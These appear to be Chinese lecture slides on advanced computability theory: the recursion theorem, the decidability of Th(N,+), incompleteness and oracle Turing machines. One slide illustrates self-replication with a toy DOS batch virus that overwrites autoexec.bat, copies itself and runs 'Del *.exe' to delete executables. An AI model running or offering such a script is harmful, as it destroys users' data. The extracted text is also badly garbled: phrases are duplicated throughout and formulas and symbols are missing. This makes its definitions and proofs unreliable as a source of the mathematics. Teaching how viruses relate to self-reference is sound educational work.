1、計算理論導引6可計算理論的高級專題1樸秀峰樸秀峰計算理論計算理論導引6可計算理論的高級專題2主要內容主要內容6.1 遞歸定理遞歸定理6.1.1 自引用自引用6.1.2 遞歸定理的術語遞歸定理的術語6.1.3 應用應用6.2 邏輯理論的可判定性邏輯理論的可判定性6.2.1 一個可判定的理論一個可判定的理論6.2.2 一個不可判定的理論一個不可判定的理論6.3 圖靈可歸約性圖靈可歸約性6.4 信息的定義信息的定義6.4.1 極小長度的描述極小長度的描述 6.4.2 定義的優化定義的優化 6.4.3 不可壓縮的串和隨機性不可壓縮的串和隨機性計算理論導引6可計算理論的高級專題3遞歸定理q 遞歸定理是一

2、個數學結論，在可計算性理論的高級研究中遞歸定理是一個數學結論，在可計算性理論的高級研究中起著重要的作用。起著重要的作用。q 考察與生命科學有關的一個悖論：考察與生命科學有關的一個悖論：1) 生物都是機器。生物都是機器。2) 生物都能自再生。生物都能自再生。3) 機器不能自再生。機器不能自再生。q 設有構造機器設有構造機器 B 的機器的機器 A：A 肯定比肯定比 B 復雜，但一個機器復雜，但一個機器不會比它自己更復雜。因此沒有機器能夠制造它自己，故不會比它自己更復雜。因此沒有機器能夠制造它自己，故自再生是不可能的。？自再生是不可能的。？q 制造能生產自己的機器是可能的。制造能生產自己的機器是可能

3、的。計算理論導引6可計算理論的高級專題4遞歸的意義q 自己調用自己自己調用自己從前有個廟，廟里有個老和尚，老和尚給小和尚講故事，從前有個廟，廟里有個老和尚，老和尚給小和尚講故事，講的故事是：講的故事是：“從前有個廟，廟里有個老和尚，老和尚給從前有個廟，廟里有個老和尚，老和尚給小和尚講故事，講的故事是小和尚講故事，講的故事是”q 自我繁殖自我繁殖#include main() char *c=#include main()char *c=%c%s%c;printf(c,34,c,34);printf(c,34,c,34);計算理論導引6可計算理論的高級專題5自引用存在可計算函數存在可計算函數 q

4、: * * ，對任意串，對任意串 w, q(w) 是是圖靈機圖靈機 Pw 的描述，的描述，Pw 打印出打印出 w，然后停機。，然后停機。q 可以任取一個字符串可以任取一個字符串 w，然后從它構造一個圖靈機，使得此圖靈機將，然后從它構造一個圖靈機，使得此圖靈機將 w內裝在一個表中，這樣，當此圖靈機開始運行后，它只要簡單輸出內裝在一個表中，這樣，當此圖靈機開始運行后，它只要簡單輸出 w 即即可。可。下列下列 TM Q 計算計算 q(w)：Q = “對于輸入串對于輸入串 w：1) 構造下列圖靈機構造下列圖靈機 Pw：Pw = “對于任意輸入：對于任意輸入： a) 抹去輸入。抹去輸入。 b) 在帶上寫

5、下在帶上寫下 w。 c) 停機。停機。”2) 輸出輸出。”計算理論導引6可計算理論的高級專題6圖靈機 SELF圖靈機圖靈機 SELF 忽略輸入，且打印出它自己的描述。忽略輸入，且打印出它自己的描述。圖靈機圖靈機 SELF 有兩個部分，分別叫做有兩個部分，分別叫做 A 和和 B，將，將 A 和和 B 想象成兩個分離的想象成兩個分離的過程，它們一起組成過程，它們一起組成 SELF。我們希望我們希望 SELF 打印出打印出 = 。A 部分首先運行，在根據完成情況將控制傳給部分首先運行，在根據完成情況將控制傳給 B。A 的任務是打印出的任務是打印出 B 的的描述。描述。使用機器使用機器 P 來定義來定

6、義 A，其中，其中 P用函數用函數 q 在在 處的值處的值q()描述描述，這，這樣，樣，A 部分是一個打印出部分是一個打印出 的圖靈機。的圖靈機。A 的描述依賴于是否已經有了的描述依賴于是否已經有了 B 的描述，所以在構造出的描述，所以在構造出 B 之前，無法完成之前，無法完成 A 的描述。的描述。定義定義 B，使之能打印，使之能打印 A：B 從從 A 產生的輸出來計算產生的輸出來計算 A。如果如果 B 能得到能得到 ，它就能用，它就能用 q 來得到來得到 。當。當 A 結束時，它被留在帶上。結束時，它被留在帶上。所以所以 B 只要看著帶子就能得到只要看著帶子就能得到 。在計算。在計算 q()

7、 = 之后，之后，B 將將之加到帶的前面。之加到帶的前面。然后將然后將 A 和和 B 組合成一個機器并在帶上寫下它的描述。組合成一個機器并在帶上寫下它的描述。計算理論導引6可計算理論的高級專題7圖靈機 SELFBA(=P)SELF 的控制器的控制器SELF 的示意圖，一個打印它自己的描述的的示意圖，一個打印它自己的描述的 TMA = P(B)，且，且B = “ 對于輸入對于輸入 ，其中，其中 M 是一個是一個 TM 的一部分：的一部分： 1) 計算計算 q()。 2) 將其結果與將其結果與 結合來組成一個完整的結合來組成一個完整的 TM 描述。描述。 3) 打印這個描述，然后停機。打印這個描述

8、，然后停機。”計算理論導引6可計算理論的高級專題8圖靈機 SELFBA(=P)SELF 的控制器的控制器如果現在運行如果現在運行 SELF ，能觀察到如下動作：，能觀察到如下動作：1) 首先首先 A 運行，它在帶上打印運行，它在帶上打印 ；2) B 開始運行，它查看帶子，找到它的輸入開始運行，它查看帶子，找到它的輸入 ；3) B 計算計算 q()=，然后將之與，然后將之與 合并，構成合并，構成 TM SELF 的描述的描述 。4) B 打印這個描述，且停機。打印這個描述，且停機。計算理論導引6可計算理論的高級專題9圖靈機 SELFq 容易用任何程序設計語言實現這個構造，即得到一個程序，容易用任

9、何程序設計語言實現這個構造，即得到一個程序，輸出就是它自己。輸出就是它自己。q 也可用自然語言實現：也可用自然語言實現：打印打印這個這個句子句子q 考慮下面的變換考慮下面的變換打印下面語句的兩個副本，在第二個副本上加引號；打印下面語句的兩個副本，在第二個副本上加引號；“打印下面語句的兩個副本，在第二個副本上加引號；打印下面語句的兩個副本，在第二個副本上加引號；”q 本例中，本例中，B 部分的構造是如下的句子：部分的構造是如下的句子：打印下面語句的兩個副本，在第二個副本上加引號；打印下面語句的兩個副本，在第二個副本上加引號；q A 部分與之相同，只是用引號將之括起來。部分與之相同，只是用引號將之

10、括起來。q A 提供了提供了 B 的一個副本給的一個副本給 B。計算理論導引6可計算理論的高級專題10遞歸定理設設 T 是計算函數是計算函數 t : * * * 的一個圖靈機。的一個圖靈機。則存在計算函數則存在計算函數 r : * * 的一個圖靈機的一個圖靈機 R，使得，使得對每一個對每一個 w，有：，有：r (w) = t (, w )只需要制造一個只需要制造一個 TM T，使之以自己的描述作為輸入的一部分。，使之以自己的描述作為輸入的一部分。然后遞歸定理就產生一個新的機器然后遞歸定理就產生一個新的機器 R，它和，它和 T 一樣運行，只是一樣運行，只是 R 的描述被自動地裝在的描述被自動地裝

11、在 T 中中。ABT(=P)R 的控制器的控制器計算理論導引6可計算理論的高級專題11遞歸定理A 是由是由 q()描述的圖靈機描述的圖靈機 P。為了保持輸入。為了保持輸入w，重新設，重新設計計 q，使得，使得 P 印出任何預先在帶上存在的串的輸出。在印出任何預先在帶上存在的串的輸出。在 A 運行之后，帶上包含運行之后，帶上包含 w。B 是如下的過程：檢查帶子，并將是如下的過程：檢查帶子，并將 q 應用于帶內容。結果是應用于帶內容。結果是。然后。然后 B 將將 A、B 和和 T 組成一個圖靈機，并得到它的描組成一個圖靈機，并得到它的描述述 = 。最后，描述的編碼和最后，描述的編碼和 w 結合，在

12、帶上形成結果串結合，在帶上形成結果串 ，并，并將控制傳給將控制傳給 T。ABT(=P)R 的控制器的控制器計算理論導引6可計算理論的高級專題12遞歸定理的術語q 在設計圖靈機算法時，可用如下方式使用遞歸定理。在設計圖靈機算法時，可用如下方式使用遞歸定理。q 如果你正在設計一個圖靈機如果你正在設計一個圖靈機 M，則可以在，則可以在 M 的算法的非的算法的非形式描述中包含如下的短語：形式描述中包含如下的短語：q “得到自己的描述得到自己的描述”。一旦得到自己的描述，。一旦得到自己的描述，M 就能就能像使用其他已計算出來的值一樣使用這個描述。像使用其他已計算出來的值一樣使用這個描述。q 例如，例如，

13、M 可以簡單打印出可以簡單打印出 ；或者計算；或者計算 中的狀態中的狀態數；或模擬數；或模擬 。q 用遞歸定理來描述機器用遞歸定理來描述機器 SELF：SELF = “對于任意輸入：對于任意輸入：1) 利用遞歸定理得到它自己的描述利用遞歸定理得到它自己的描述 ；2) 打印打印 。”計算理論導引6可計算理論的高級專題13遞歸定理的術語q 遞歸定理展示了怎樣實現遞歸定理展示了怎樣實現“獲得自己的描述獲得自己的描述”的構造。的構造。q 為了產生機器為了產生機器 SELF，首先寫下以下機器，首先寫下以下機器 T：T = “對于輸入對于輸入：1) 打印打印 并停機。并停機。”q TM T 得到得到 TM

14、 M 和它輸入的串和它輸入的串 w 的描述，它打印了的描述，它打印了 M 的的描述描述 。然后遞歸定理展示怎樣獲得在輸入。然后遞歸定理展示怎樣獲得在輸入 w 上的上的 TM R，像，像 T 在輸入在輸入 上那樣操作。因此上那樣操作。因此 R 打印出打印出 R 的的描述，恰好是機器描述，恰好是機器 SELF 所需要得到的。所需要得到的。計算理論導引6可計算理論的高級專題14遞歸定理的應用q 計算機病毒是一個計算機程序，它被設計成在計算機中傳計算機病毒是一個計算機程序，它被設計成在計算機中傳播它自己。為了實現自我復制的基本任務，可能使用到遞播它自己。為了實現自我復制的基本任務，可能使用到遞歸定理證

15、明中的結構。歸定理證明中的結構。例例 計算機病毒；（計算機病毒；（Autoexec.BAT ) 從從A: 盤盤 復制復制 到到B:盤盤 Echo This is a Virus program IF exist b:autoexec.bat goto Virus Goto No_Virus : Virus B: Rename autoexec.bat auto.bat /準備冒名頂替準備冒名頂替 Copy a:autoexec.bat b: /自我復制部分自我復制部分 Echo I am Virus /誠實的自白誠實的自白 Del *.exe /實施破壞實施破壞 : No_virus A: A

16、uto /調用原來調用原來 autoexec.bat，給出平安無事的假象，給出平安無事的假象計算理論導引6可計算理論的高級專題15遞歸定理的應用ATM是不可判定的。是不可判定的。假設圖靈機假設圖靈機 H 可判定可判定 ATM。構造下列圖靈機。構造下列圖靈機 B。B = “對于輸入對于輸入 w：1) 由遞歸定理得到自己的一個描述由遞歸定理得到自己的一個描述 。2) 在輸入在輸入 上運行上運行 H。3) 得到與得到與 H 相反的結果，相反的結果， 即：如果即：如果 H 拒絕，則接受；如果拒絕，則接受；如果 H 接受，則拒絕。接受，則拒絕。”對輸入對輸入w，B 的結果與的結果與 H 相反，所以相反，

17、所以 H 不可能判定不可能判定 ATM。計算理論導引6可計算理論的高級專題16遞歸定理的應用如果如果 M 是一個圖靈機，則是一個圖靈機，則 M 的描述的描述 的長度是的長度是描述描述 M 的串中所含的串中所含符號的個數符號的個數。如果沒有與。如果沒有與 M 等價等價的圖靈機有更短的描述，則稱的圖靈機有更短的描述，則稱 M 是是極小的極小的。令。令MINTM | M 是一個極小是一個極小 TM 計算理論導引6可計算理論的高級專題17遞歸定理的應用MINTM不是圖靈可識別的。不是圖靈可識別的。假設假設 TM E 枚舉枚舉MlNTM，然后試圖來得到矛盾。構造下列，然后試圖來得到矛盾。構造下列 TM

18、C。C = “ 對于輸入對于輸入 w：1) 由遞歸定理得到它自己的一個描述由遞歸定理得到它自己的一個描述 。2) 運行枚舉器運行枚舉器 E，直到一個比，直到一個比 C 的描述更長的機器的描述更長的機器D出現出現。3) 在輸入在輸入 w上模擬上模擬 D。為為 MINTM 是無限的，故是無限的，故 E 的序列中必定含有的序列中必定含有 TM，其描述比，其描述比 C 的描述更長。的描述更長。因此，因此，C 的第二步最終將在某個的第二步最終將在某個 TM D上終止，且上終止，且 D 比比 C 更長。更長。然后然后 C 就模擬就模擬 D，且與之等價。，且與之等價。因為因為 C 比比 D 短且與之等價，故

19、短且與之等價，故 D 不可能是極小的，但不可能是極小的，但D又在又在 E 產生的序列中產生的序列中出現，這樣就得到了矛盾。出現，這樣就得到了矛盾。計算理論導引6可計算理論的高級專題18遞歸定理的應用設設 t: * * 是一個可計算函數，則存在一個圖靈是一個可計算函數，則存在一個圖靈機機 F，使得，使得 t()描述一個與描述一個與 F 等價的圖靈機。這等價的圖靈機。這里假設如果串不是一個正確的圖靈機編碼，那么它里假設如果串不是一個正確的圖靈機編碼，那么它描述的圖靈機立即拒絕。描述的圖靈機立即拒絕。設設 F 是下列圖靈機。是下列圖靈機。F = “ 對于輸入對于輸入w：1) 由遞歸定理得到它自己的一

20、個描述由遞歸定理得到它自己的一個描述。2) 計算計算 t () 得到一個得到一個 TM G 的描述。的描述。3) 在輸入在輸入w上模擬上模擬 G。”顯然，顯然， 和和 t() = 描述了等價的圖靈機，描述了等價的圖靈機，因為因為 F 模擬模擬 G。計算理論導引6可計算理論的高級專題19主要內容主要內容6.1 遞歸定理遞歸定理6.1.1 自引用自引用6.1.2 遞歸定理的術語遞歸定理的術語6.1.3 應用應用6.2 邏輯理論的可判定性邏輯理論的可判定性6.2.1 一個可判定的理論一個可判定的理論6.2.2 一個不可判定的理論一個不可判定的理論6.3 圖靈可歸約性圖靈可歸約性6.4 信息的定義信息

21、的定義6.4.1 極小長度的描述極小長度的描述 6.4.2 定義的優化定義的優化 6.4.3 不可壓縮的串和隨機性不可壓縮的串和隨機性計算理論導引6可計算理論的高級專題20邏輯理論的可判定性q 數理邏輯是數學的一個分支，它研究數學本身。數理邏輯是數學的一個分支，它研究數學本身。q 數理邏輯關心如下問題：什么是定理？什么是證明？什么數理邏輯關心如下問題：什么是定理？什么是證明？什么是真？算法能判定哪些命題是真的？所有真命題都是可證是真？算法能判定哪些命題是真的？所有真命題都是可證的嗎？的嗎？q 關心的焦點：能否確定一個數學命題是真是假，以及這種關心的焦點：能否確定一個數學命題是真是假，以及這種問

22、題的可判定性。問題的可判定性。計算理論導引6可計算理論的高級專題21邏輯理論的可判定性1), ( ,1)2), , , ( , ,02)3), ( ,1(2)nnnqpx y pqx yxypa b c n a b cnabcqpx y pqx yxypxyp 命題命題1稱，有無限多個素數存在，在大約稱，有無限多個素數存在，在大約2300年以前的歐幾年以前的歐幾里德時代，就已知道這個命題是真的。里德時代，就已知道這個命題是真的。命題命題2稱為費馬大定理，這個命題幾年前由安德魯稱為費馬大定理，這個命題幾年前由安德魯威爾士威爾士(Andrew Wiles)證明為真。證明為真。命題命題3稱，有無限多

23、個素數對存在，這被稱為孿生素數猜想稱，有無限多個素數對存在，這被稱為孿生素數猜想(twin prime conjecture)。它到現在還未被解決。它到現在還未被解決。q 首先需要建立一個精確的語言來將這些問題形式化。我們首先需要建立一個精確的語言來將這些問題形式化。我們的要求是能夠考慮如下數學命題：的要求是能夠考慮如下數學命題：計算理論導引6可計算理論的高級專題22符號符號，稱為稱為布爾運算布爾運算；“(”和和“)”是括號；符號是括號；符號 和和 是是量詞量詞；符號；符號x用來代表用來代表變元變元；符號；符號R1， ，Rk 稱為稱為關系關系。邏輯理論的可判定性1 ,(,), , ,kxRR

24、為了將之進一步精確化，現在描述這個語言的字母表：為了將之進一步精確化，現在描述這個語言的字母表：計算理論導引6可計算理論的高級專題23公式q 公式是字母表上的良構串。公式是字母表上的良構串。q 形如形如 Ri (x1, x2, , xj) 的串是的串是原子公式原子公式，值，值 j 是關系符號是關系符號 Ri的的元數元數。q 一個良構公式中所有出現的相同關系符號必須有相同的元一個良構公式中所有出現的相同關系符號必須有相同的元數。數。q 一個串一個串如滿足一下條件，則是一個公式：如滿足一下條件，則是一個公式：1) 是一個原子公式；是一個原子公式；2) 具有形式具有形式1 2 或或 1 2或或 1。

25、 其中其中1和和2 是更小的公式。是更小的公式。3) 具有形式具有形式1 2 或或12 或或 1。 其中其中 x1 或或 x1，其中，其中 1 是更小的公式。是更小的公式。計算理論導引6可計算理論的高級專題24公式q 轄域：緊跟在量詞化變元后的一對括號中的部分。轄域：緊跟在量詞化變元后的一對括號中的部分。q 前束范式：所有量詞都出現在公式的前面。前束范式：所有量詞都出現在公式的前面。q 自由變元：沒有被量詞的轄域所約束的變元。自由變元：沒有被量詞的轄域所約束的變元。q 句子或命題：沒有自由變元的公式。句子或命題：沒有自由變元的公式。(1) x (F(x,y)G(x, z) )(2) x (F(

26、x)G(y) y (H(x)L(x, y, z) 計算理論導引6可計算理論的高級專題25例例6.7 在下列公式中，只有最后一個是句子：在下列公式中，只有最后一個是句子： 邏輯理論的可判定性21121231112123121121231)()( ,)2)()( ,)3)()( ,)R xR x xxx R xR x xxxxx R xR x xx計算理論導引6可計算理論的高級專題26邏輯理論的可判定性q 論域：覆蓋變元可能的取值。論域：覆蓋變元可能的取值。q 將關系符號指定為確定的關系。而將關系符號指定為確定的關系。而關系關系是從論域上的是從論域上的k元組元組到到TRUE，FALSE的函數。的函

27、數。q 關系符號的元數必須和指派給它的關系和元數相同。關系符號的元數必須和指派給它的關系和元數相同。q 論域連同關系到關系符號的指派一起論域連同關系到關系符號的指派一起稱為稱為模型模型。q 形式上，一個形式上，一個模型模型 是一個元組是一個元組(U, P1, , Pk)，其中，其中U是是論域，論域，P1 到到 Pk 是指派給符號是指派給符號 R1 到到 Rk 的關系。的關系。q 模型語言模型語言：在公式的集合中，只使用此模型指派的關系符：在公式的集合中，只使用此模型指派的關系符號，且對每個關系符號，使用正確的元數。號，且對每個關系符號，使用正確的元數。q 如果如果是某個模型語言中的句子，則是某

28、個模型語言中的句子，則在這個模型中不為在這個模型中不為真就為假。真就為假。如果如果在模型在模型 M 中為真，則說中為真，則說 M 是是的一個的一個模型模型。計算理論導引6可計算理論的高級專題27邏輯理論的可判定性例例6.8 設設是句子是句子 x y R1(x, y) R1(y, x) ，模型，模型 M1 = (N, )是如下的模型：它的論域是自然數集，它將是如下的模型：它的論域是自然數集，它將“小于或等于小于或等于”關系分配給符號關系分配給符號R1。顯然。顯然在在M1中為真，因為對于任意兩個中為真，因為對于任意兩個自然數自然數 a 和和 b，a b 和和 ba 必有一個成立。必有一個成立。但如

29、果但如果M1將將“小于小于”關系（而不是關系（而不是“小于或等于小于或等于”關系）指關系）指派給派給R1，則，則將不真，因為當將不真，因為當 x 和和 y 相等時，它不再成立。相等時，它不再成立。q 如果事先知道什么關系將指派給如果事先知道什么關系將指派給 Ri，就可以用這個關系的，就可以用這個關系的慣用記號來代替慣用記號來代替 Ri，且按習慣，可用中綴記法。，且按習慣，可用中綴記法。q 對于對于 M1，可以將，可以將寫成寫成 x y x y yx 計算理論導引6可計算理論的高級專題28例例6.9 設設 M2 是如下的模型：它的論域是是實數集是如下的模型：它的論域是是實數集 R，且講關，且講關

30、系系 PLUS 指派給指派給 R1，其中：只要當，其中：只要當 a+b=c 時時 PLUS(a, b, c) =TURE。則。則 M2 是是= y x R1(x, x , y) 的一個模型。的一個模型。但如果用但如果用 N 代替代替 R 作為作為 M2 的論域，則此句子為假。的論域，則此句子為假。 邏輯理論的可判定性q 如果如果 M 是一個模型，這個模型語言中所有是一個模型，這個模型語言中所有真句子的集合真句子的集合稱稱為為 M 的的理論系統理論系統，簡稱為，簡稱為理論理論，記為，記為Th(M) 。計算理論導引6可計算理論的高級專題29一個可判定性的理論111,010,100,0003Th(N

31、, +)是可判定的。是可判定的。設設 3 包含所有高度為包含所有高度為 3 的的 0 和和 1 的列。的列。 3 上的字符串給出三上的字符串給出三行行 0 和和 1。把每一行看作一個二進制數，令。把每一行看作一個二進制數，令B = w 3 | w 最下面的一行等于上面兩行的和最下面的一行等于上面兩行的和 則則 B 是正則的。是正則的。BB101100,011001100但是計算理論導引6可計算理論的高級專題30Th(N, +)是可判定的考慮如下一個實例：考慮如下一個實例：3121321xxxxxxx構造有限自動機：構造有限自動機： (x1, x2, x3) | x1+x2=x1+x3 然后構造

32、然后構造NFA： (x1, x2) | x3 x1+x2=x1+x3 同樣：同樣： (x1) | x2 x3 x1+x2=x1+x3 為真時，得到為真時，得到 (),為假時得到為假時得到。計算理論導引6可計算理論的高級專題31一個可判定性的理論Th(N, +)是可判定的。是可判定的。思路：對于輸入為思路：對于輸入為(N, +)的語言中的句子的語言中的句子檢查其在模型中是否為真。檢查其在模型中是否為真。=Q1x1Q2x2 Qlxl 對于對于 0l 的每一個的每一個i，令公式，令公式i 為為i=Qi+1xi+1Qi+2xi+2 Qlxl 這樣，這樣，0=且且 l =。對于從對于從 0 到到 l 的

33、每個的每個 i，算法構造了一個有窮自動機，算法構造了一個有窮自動機 Ai，它識別如下串的，它識別如下串的集合：這些串表示集合：這些串表示i 為真的數的為真的數的 i 元組。算法先直接構造元組。算法先直接構造 Ai，然后，然后，對對從從 l 向下到向下到 1 的每個的每個 i，它用，它用 Ai 構造構造 Ai-1。最后，一旦得到。最后，一旦得到 A0，算法就，算法就檢查檢查 A0是否接受空串。如果接受，則是否接受空串。如果接受，則為真，算法也就接受。為真，算法也就接受。計算理論導引6可計算理論的高級專題32Th(N, +)是可判定的則則 i = 包含了所有包含了所有 0 和和 1 構成的構成的

34、i元列向量。元列向量。 i 上的每個串表示上的每個串表示 i 的二進制的二進制整數（沿行讀）。令整數（沿行讀）。令 0 = ，其中，其中 是一個符號。是一個符號。現在介紹判定現在介紹判定 Th(N,+) 的算法。對于輸入的算法。對于輸入 (其中其中為句子為句子)，算法如下運，算法如下運行：寫下行：寫下，且對從，且對從 0 到到 l 的每個的每個 i，如同在證明思路中介紹的那樣定義，如同在證明思路中介紹的那樣定義i 。再對每個這樣的再對每個這樣的i，由，由i構造有窮自動機構造有窮自動機Ai，使得只要，使得只要i(a1, ,ai)為真，為真，它就接受它就接受 i*上對應于上對應于i元組元組a1,

35、, ai 的串。的串。Ai 的構造如下：的構造如下：00001,0011101011i 對對 i 0，定義字母表，定義字母表 計算理論導引6可計算理論的高級專題33為構造第一個機器為構造第一個機器 Al，注意到，注意到l 是原子公式的布爾組合。是原子公式的布爾組合。在在 Th(N,+) 的語言中，原子公式只有單個加法。的語言中，原子公式只有單個加法。對每個這樣的單個加法，對每個這樣的單個加法，可以構造可以構造個有窮自動機來計算這樣的單個加法所對應的關系，然后將這個有窮自動機來計算這樣的單個加法所對應的關系，然后將這些有窮自動機組合起來，就能給出自動機些有窮自動機組合起來，就能給出自動機Al。這

36、樣做要涉及正則語言類對。這樣做要涉及正則語言類對于交、并和補的封閉性，以計算原子公式的布爾組合。于交、并和補的封閉性，以計算原子公式的布爾組合。接下來說明怎么接下來說明怎么由由 Ai+1 來構造來構造 Ai。如果如果i = xi+1i+1，則構造則構造 Ai 使得它使得它的運行幾乎與的運行幾乎與Ai+1一樣，區別在于一樣，區別在于 Ai 非確定地猜非確定地猜 ai+1 的值的值，而不是將它作，而不是將它作為輸入的一部分而接受。為輸入的一部分而接受。更精確地說，對于更精確地說，對于 Ai+1 的每個狀態，的每個狀態， Ai 包含一個與之對應的狀態；且包含一個與之對應的狀態；且 Ai還包含一個新的

37、起始狀態。每當還包含一個新的起始狀態。每當 Ai 讀下列符號時，讀下列符號時，一個可判定性的理論11iibbb計算理論導引6可計算理論的高級專題34這里每個這里每個 bi0,1 是數是數 ai 的某一位，它非確定地猜的某一位，它非確定地猜 z0,1，且在下列輸入符號上模擬且在下列輸入符號上模擬 Ai+1。一個可判定性的理論11iibbbz最初，最初，Ai 非確定地猜測非確定地猜測 ai+1的引導位，這些引導位對應于的引導位，這些引導位對應于 a1 到到 ai 中隱藏的引導中隱藏的引導 0。猜測的方法是：從它新的起始狀態到所有。猜測的方法是：從它新的起始狀態到所有狀態非確定性地進行分叉，這些狀態

38、是狀態非確定性地進行分叉，這些狀態是 Ai+1 以以 i+1中下列符號中下列符號的串為輸入、從它的開始狀態所能到達的狀態。的串為輸入、從它的開始狀態所能到達的狀態。00,0001 顯然，如果存在顯然，如果存在ai+1，使得，使得Ai+1接受接受(a1,ai+1)，則，則Ai接受接受(a1,ai) 。如果如果i= xi+1i+1，它等價于，它等價于 xi+1i+1。首先構造識別語。首先構造識別語言言 Ai+1 的補的有窮自動機，然后應用上述對于的補的有窮自動機，然后應用上述對于 量詞的構造，量詞的構造，最后再一次應用補來得到最后再一次應用補來得到Ai。有窮自動機有窮自動機 A0 接收某個輸入，當

39、且僅當接收某個輸入，當且僅當0為真。所以算法為真。所以算法的最后步驟是檢查的最后步驟是檢查 A0 是否接收是否接收 。如果是，則。如果是，則為真，且算為真，且算法接受它；否則，就拒絕。法接受它；否則，就拒絕。計算理論導引6可計算理論的高級專題35一個不可判定性的理論Th(N, +, )是不可判定的。是不可判定的。設設 M 是一個圖靈機，是一個圖靈機，w 是一個串：從是一個串：從 M 和和 w 能構能構造造(N, +, ) 的語言中的公式的語言中的公式M,w，使得它只包含單，使得它只包含單個自由變元個自由變元 x，且句子，且句子 xM,w 為真當且僅當為真當且僅當M 接接受受w。計算理論導引6可

40、計算理論的高級專題36一個不可判定性的理論Th(N, +, )中可證命題的集合是圖靈可識別的。中可證命題的集合是圖靈可識別的。證明：如果證明：如果是可證的，則下列算法是可證的，則下列算法P接受其輸入接受其輸入 。算。算法法P使用在可證性使用在可證性性質性質1中所說的證明檢查器，檢查每個可能成為中所說的證明檢查器，檢查每個可能成為的證明的證明的候選串。如果發的候選串。如果發現一個侯選串正是一個證明，則接受它。現一個侯選串正是一個證明，則接受它。計算理論導引6可計算理論的高級專題37 證明：用反證法。假設所有真命題都是可證的，利用這個假設來證明：用反證法。假設所有真命題都是可證的，利用這個假設來構

41、造判定命題是否為真的算法構造判定命題是否為真的算法D，與定理，與定理6.11矛盾。矛盾。 對于輸入對于輸入，算法算法D如下運行：在輸入如下運行：在輸入和和 上上并行地運行定并行地運行定理理6.13的證明中給出的算法的證明中給出的算法P。這兩個命題總有一個為真，根據假設，。這兩個命題總有一個為真，根據假設，總有一個是可證的。因而總有一個是可證的。因而P在其中一個輸入上停機。根據可證性性質在其中一個輸入上停機。根據可證性性質2，如果如果是可證的，則是可證的，則為真；如果為真；如果 是可證的，則是可證的，則為假。所以算為假。所以算法法D能判定能判定的真假性。的真假性。一個不可判定性的理論Th(N,

42、+, )中存在不可證的真命題。中存在不可證的真命題。計算理論導引6可計算理論的高級專題38一個不可判定性的理論本定理的證明中描述的句子是本定理的證明中描述的句子是 不可證的。不可證的。unprovable 證明：設證明：設S是如下運行的是如下運行的TM。 S“對于任意的輸入：對于任意的輸入： 1)出遞歸定理得到它自己的描述出遞歸定理得到它自己的描述。 2)用引理用引理6.12構造句子構造句子 。 3)在輸入在輸入 上運行定理上運行定理6.13給出的算法給出的算法P。 4)如果上一步接受，就接受；如果它停機且拒絕，則拒絕。如果上一步接受，就接受；如果它停機且拒絕，則拒絕。” 設設 是算法是算法S

43、的第二步所描述的句子的第二步所描述的句子 。 為真，當是僅當為真，當是僅當S不接受不接受0（串（串0是隨意選擇的是隨意選擇的)。 如果如果s能找到能找到 的一個證明，的一個證明，S就接受就接受0，這個句子也就因，這個句子也就因之為假。一個假句子是不能被證明的，所以這種情形不可能發生。剩下之為假。一個假句子是不能被證明的，所以這種情形不可能發生。剩下的唯一可能性是的唯一可能性是S不能找到不能找到 的證明，因而的證明，因而S不接受不接受0。但我們已。但我們已宣布過宣布過 為真。為真。 ,0Sc unprovable unprovableunprovableunprovable計算理論導引6可計算理

44、論的高級專題39主要內容主要內容6.1 遞歸定理遞歸定理6.1.1 自引用自引用6.1.2 遞歸定理的術語遞歸定理的術語6.1.3 應用應用6.2 邏輯理論的可判定性邏輯理論的可判定性6.2.1 一個可判定的理論一個可判定的理論6.2.2 一個不可判定的理論一個不可判定的理論6.3 圖靈可歸約性圖靈可歸約性6.4 信息的定義信息的定義6.4.1 極小長度的描述極小長度的描述 6.4.2 定義的優化定義的優化 6.4.3 不可壓縮的串和隨機性不可壓縮的串和隨機性計算理論導引6可計算理論的高級專題40圖靈可歸約性語言語言 B 的一個的一個諭示諭示(oracle)是一個是一個能夠報告某個串能夠報告某

45、個串 w是否為是否為 B 的成員的外部裝置的成員的外部裝置。一個諭示圖靈機是一種。一個諭示圖靈機是一種修改過的圖靈機，它有詢問一個諭示的額外能力。記修改過的圖靈機，它有詢問一個諭示的額外能力。記MB為對語言為對語言B有諭示的諭示圖靈機。有諭示的諭示圖靈機。q 考慮兩個語言考慮兩個語言ATM和和ATM，直觀上它們可以互相歸約。，直觀上它們可以互相歸約。實際上不能。實際上不能。計算理論導引6可計算理論的高級專題41圖靈可歸約性例例6.17 考慮考慮 ATM 的一個諭示。帶的一個諭示。帶 ATM 的諭示的一個諭示圖靈機比普通的的諭示的一個諭示圖靈機比普通的團靈機能判定更多的語言，這樣的圖靈機能夠判定

46、團靈機能判定更多的語言，這樣的圖靈機能夠判定ATM自身自身(顯然成立顯然成立)，它，它只要只要對輸入詢問它的諭示對輸入詢問它的諭示即可。它也能判定即可。它也能判定 ETM，即，即 TM 的空性質檢查問的空性質檢查問題，用的是下面稱題，用的是下面稱 TATM 的過程：的過程： TATM = “對于輸對于輸 入入，其中，其中 M 是一個是一個 TM： 1)構造下面構造下面 TM N： N = “對任意輸入：對任意輸入： a)對對 * 中的所有串并行運行中的所有串并行運行 M。 b)如果如果 M 接受它們中的任何一個串，則接受。接受它們中的任何一個串，則接受。” 2)詢問諭示詢問諭示以確定以確定 A

47、TM是否成立是否成立 3)如果諭示回答如果諭示回答“不不”，則接受；如果回答，則接受；如果回答“是是”，則拒絕，則拒絕。”如果如果 M 的語言不空，則的語言不空，則N將接受每個輸入，特別地，將接受將接受每個輸入，特別地，將接受 0。從而諭示。從而諭示將回答將回答“是是”，且，且 TATM 將拒絕。相反地，如果將拒絕。相反地，如果M的語言是空的，則的語言是空的，則 TATM 將接受。所以將接受。所以 TATM 判定判定 ETM。我們說。我們說 ETM 是是可判定歸約可判定歸約到到 ATM 。計算理論導引6可計算理論的高級專題42語言語言 A 圖靈可歸約圖靈可歸約到語言到語言 B，如果，如果 A

